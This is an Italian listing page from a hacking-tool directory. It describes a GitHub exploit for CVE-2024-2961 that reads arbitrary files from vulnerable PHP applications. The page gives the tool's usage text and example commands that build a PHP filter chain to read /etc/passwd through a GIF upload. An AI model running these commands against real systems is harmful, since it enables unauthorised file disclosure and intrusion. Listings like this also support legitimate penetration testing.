Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-2961 — Sfrutta CVE-2024-2961 per leggere file arbitrari da applicazioni PHP vulnerabili utilizzando payload di catene di filtri. | Kitploit
Strumenti/GitHubGitHub/4wayhandshake/cve-2024-2961
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHub4wayhandshake/cve-2024-2961

CVE-2024-2961

Sfrutta CVE-2024-2961 per leggere file arbitrari da applicazioni PHP vulnerabili utilizzando payload di catene di filtri.

Vedi Repository
1 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-2961

Usa CVE-2024-2961 per eseguire una lettura arbitraria di file

Utilizzo

Usa con wrapwrap per la massima efficacia.

root@kitploit:~
usage: arbitrary-file-read.py [-h] -t TARGET -c CHAIN -ct CONTENT_TYPE [--prefix-len PREFIX_LEN] [--suffix-len SUFFIX_LEN]

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        The target URL (e.g. http://subdomain.vulnerable.tld) - Don't include any URL path component
  -c CHAIN, --chain CHAIN
                        The filepath of the chain file from wrapwrap (see: https://github.com/ambionics/wrapwrap)
  -ct CONTENT_TYPE, --content-type CONTENT_TYPE
                        The content type that your filter chain pretends to use
  --prefix-len PREFIX_LEN
                        The length of the PREFIX to remove from the file in the response. Ex to remove the "GIF89a\n" header use `--prefix-len 8
  --suffix-len SUFFIX_LEN
                        The length of the SUFFIX to remove from the file in the response

Esempio (caricamento gif)

Ecco un esempio di come potresti usarlo con un caricamento di file che accetta immagini GIF:

root@kitploit:~
# esegui wrapwrap per ottenere il file chain.txt contenente la catena di filtri PHP
python3 wrapwrap.py /etc/passwd 'GIF89a\n' '' 999
# esegui questo strumento, fornendo chain.txt come argomento
python3 ./arbitrary-file-read.py -t 'http://vulnerable.tld' -c ./chain.txt -ct 'image/gif' --prefix-len 9
Scarica lo strumento